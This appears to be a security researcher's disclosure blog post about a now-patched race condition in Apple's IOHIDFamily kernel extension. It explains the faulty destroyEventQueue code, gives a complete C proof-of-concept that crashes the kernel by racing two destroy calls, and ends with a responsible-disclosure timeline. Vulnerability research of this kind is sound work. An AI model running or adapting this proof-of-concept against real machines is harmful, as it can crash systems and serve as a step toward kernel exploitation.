Some weeks ago I found another race condition inside the extremely troubled IOHIDFamily kext module, which is one of the few modules that are actually opensource. You can grab a (outdated) version of the code here.

Today I reported it to Apple, and while waiting for a response, I tought it would be nice to write a post about it.

Background

As you may know, recently the XNU kernel and some IOKIT modules have been plagued by race condition issues. You can check out one also in our CanSecWest 16 presentation about Apple Graphics drivers, and some of them are present in the Project Zero issues tracker.

Basically the root cause of those issues is the lack of locking mechanisms, or wrong locks, in code that expects only well behaved, not concurrent access.

The bug

You can follow the vulnerable code here to have more informations than the snippets pasted here.

IOReturn IOHIDEventSystemUserClient::destroyEventQueue(void*p1,void*p2,void*,void*,void*,void*)
{
    UInt32          type       = (uintptr_t) p1;
    UInt32          queueID    = (uintptr_t) p2;
    IODataQueue *   eventQueue = NULL;

    if (queueID == kIOHIDEventSystemKernelQueueID) {
        eventQueue = kernelQueue;
        type = kIOHIDEventQueueTypeKernel;
    } else {
        eventQueue = copyDataQueueWithID(queueID);
        type = kIOHIDEventQueueTypeUser;
    }

    if ( !eventQueue )
        return kIOReturnBadArgument;

    switch ( type ) {
        case kIOHIDEventQueueTypeKernel:
            kernelQueue->setState(false);
            if (owner) owner->unregisterEventQueue(kernelQueue);
            kernelQueue->release();
            kernelQueue = NULL;
            break;
        case kIOHIDEventQueueTypeUser:
            if (userQueues)
                userQueues->removeObject(eventQueue);
            removeIDForDataQueue(eventQueue);
            eventQueue->release();
            break;
    }

    return kIOReturnSuccess;
}

This action can be triggered from a usermode program if it has root privileges.

We will race this 2 statements:

kernelQueue->release();
kernelQueue = NULL;

If another thread access kernelQueue before the other one set it to NULL, bad things can happen, checkout Ian Beer’s similar issue for exploitability.

Crash PoC

// clang -o IOHIDEventSystemUserClient IOHIDEventSystemUserClient.c -framework IOKit

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

#include <IOKit/IOKitLib.h>
#include <pthread.h>

io_connect_t conn = MACH_PORT_NULL;

uint32_t callCreate(io_connect_t conn) {
    kern_return_t err;
    uint64_t inputScalar[16];  
    uint64_t inputScalarCnt = 2;

    inputScalar[0] = 0;
    inputScalar[1] = 32;

    char inputStruct[4096];
    size_t inputStructCnt = 0;

    uint64_t outputScalar[16];
    uint32_t outputScalarCnt = 1;

    char outputStruct[4096];
    size_t outputStructCnt = 0;

    err = IOConnectCallMethod(
      conn,
      0,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
    if (err != KERN_SUCCESS){
      printf("unable to createEventQueue 0x%x\n", err);
    }

    return outputScalar[0];
}

void callDestroy(io_connect_t conn, uint32_t queueID) {
    kern_return_t err;
    uint64_t inputScalar[16];  
    uint64_t inputScalarCnt = 2;

    inputScalar[0] = 0;
    inputScalar[1] = queueID;

    char inputStruct[4096];
    size_t inputStructCnt = 0;

    uint64_t outputScalar[16];
    uint32_t outputScalarCnt = 0;

    char outputStruct[4096];
    size_t outputStructCnt = 0;

    err = IOConnectCallMethod(
      conn,
      1,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
    if (err != KERN_SUCCESS){
      printf("unable to destroyEventQueue 0x%x\n", err);
    }
}

void race(uint32_t queueID) {
    callDestroy(conn, queueID);
}

int main(int argc, char const *argv[])
{
    kern_return_t err;

    CFMutableDictionaryRef matching = IOServiceMatching("IOHIDSystem");
    if(!matching){
      printf("unable to create service matching dictionary\n");
      return 0;
    }

    io_iterator_t iterator;
    err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
    if (err != KERN_SUCCESS){
      printf("no matches\n");
      return 0;
    }

    io_service_t service = IOIteratorNext(iterator);

    if (service == IO_OBJECT_NULL){
      printf("unable to find service\n");
      return 0;
    }
    printf("got service: %x\n", service);

    err = IOServiceOpen(service, mach_task_self(), 3, &conn);
    if (err != KERN_SUCCESS){
      printf("unable to get user client connection\n");
      return 0;
    }
    
    printf("got userclient connection: %x\n", conn);

    while(1) {
        uint32_t queueID = callCreate(conn);

        pthread_t t;
        pthread_create(&t, NULL, (void *(*)(void *)) race, (void*) (uint32_t)queueID);

        callDestroy(conn, queueID);

        pthread_join(t, NULL);
    }

    return 0;
}

To run it:

$ clang -o IOHIDEventSystemUserClient IOHIDEventSystemUserClient.c -framework IOKit
$ sudo ./IOHIDEventSystemUserClient

Timeline:

  • 2016/4/10 The issue is reported to Apple via email at product-security@apple.com with 90 days responsible disclosure policy.
  • 2016/5/17 The issue is fixed in OS X 10.11.5 and iOS 9.3.2.

Take aways:

  • Sometimes vendors just fix the immediate problem and bug, and don’t investigate carefully about the root cause and search for additional bugs that share the same pattern.